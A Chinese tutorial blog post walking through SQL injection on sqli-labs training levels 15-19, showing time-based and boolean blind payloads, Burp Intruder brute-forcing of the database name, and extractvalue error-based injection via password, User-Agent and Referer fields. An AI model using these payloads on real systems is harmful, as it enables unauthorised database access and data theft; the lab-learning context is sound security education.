SQL注入【sqli靶场第15-19关】(四)

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

接上文:SQL注入【sqli靶场第11-14关】(三)

5、Less15

POST - Blind-Boolian/time Based-Single quotes

5.1、判断是否存在SQL注入

使用时间盲注验证

# 输入内容
'and+if('a'='a',sleep(1),sleep(5))--+

在这里插入图片描述

5.2、借用BP爆破数据库

5.2.1、爆破数据库长度
# 输入内容
'and+if(length(database())=5,1,0)--+

在Repeater右击发送到Intruder,先清除默认的标志位,自己定位到数字5,这个值任意填写的。Attack Type选择:Cluster bomb,参数设置看截图说明。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

从爆破结果得到数据库长度是8

5.2.2、爆破数据库名
# 输入内容
'and+if(substr(database(),1,1)='a',1,0)--+

爆破参数设置看截图说明,需要2个参数,第一个是截取的数据库对应的字段索引,第二个是匹配的内容。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

6、Less16

POST - Blind-Boolian/time Based-Double quotes

6.1、判断是否存在SQL注入

使用时间盲注验证

# 输入内容
")and+if(1=1,sleep(1),sleep(5))--+

在这里插入图片描述

6.2、借用BP爆破数据库

由于Less-16注入语句和Less-15区别就在前面的引号,Less-15前面是单引号',Less-16前面是双引号+括号") 下面两个步骤我只给出验证通过的注入SQL,操作步骤参考5.2。

6.2.1、爆破数据库长度
# 输入内容
")and+if(length(database())=5,1,0)--+
6.2.2、爆破数据库名
# 输入内容
")and+if(substr(database(),1,1)='a',1,0)--+

7、Less-17

POST - Update Query- Error Based - string

7.1、判断是否存在SQL注入

正常响应长度
在这里插入图片描述

密码输入带单引号’,响应长度有变化
在这里插入图片描述

往下拉看到有提示错误信息,可以确定可以SQL注入

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin3'' at line 1</br>

7.2、报错函数

7.2.1、获取数据库名和账号

根据报错函数获取到数据库名,登录名,注意是在密码后拼接

# 输入内容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1

# 输出内容
XPATH syntax error: '~security~'</br>

# 输入内容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1

# 输出内容
XPATH syntax error: '~root@localhost~'</br>

8、Less-18

POST -Header Injection - Uagent field - Error based

8.1、报错函数

删除原来User-Agent的信息输入SQL注入语句获取到数据库和账号

# 输入内容--数据库名
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1

# 输入内容--登录名
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1

在这里插入图片描述
在这里插入图片描述

9、Less-19

POST - Header lnjection - Referer field - Error based

9.1、报错函数

删除原来Referer的信息输入SQL注入语句获取到数据库和账号

# 输入内容--数据库名
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1

# 输入内容--登录名
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1

在这里插入图片描述
在这里插入图片描述

10、下期内容预告

下期继续分享:SQL注入【sqli靶场第20-22关和dnslog外带】(五),敬请关注我的公众号:大象只为你,持续更新中…

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2023-12-14 19:42:02       19 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-14 19:42:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-14 19:42:02       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-14 19:42:02       20 阅读

热门阅读

  1. 稳定匹配算法及其栈优化

    2023-12-14 19:42:02       35 阅读
  2. 软件开发经常出现的bug原因有哪些

    2023-12-14 19:42:02       40 阅读
  3. CDN加速:社会服务的必备利器

    2023-12-14 19:42:02       36 阅读
  4. LeetCode 2697. 字典序最小回文串

    2023-12-14 19:42:02       44 阅读
  5. leetcode 最大和的连续子数组 C语言

    2023-12-14 19:42:02       31 阅读
  6. 敏捷开发项目管理流程及scrum工具

    2023-12-14 19:42:02       38 阅读
  7. K8S(七)—污点、容忍

    2023-12-14 19:42:02       41 阅读
  8. k8s-Pod

    k8s-Pod

    2023-12-14 19:42:02      34 阅读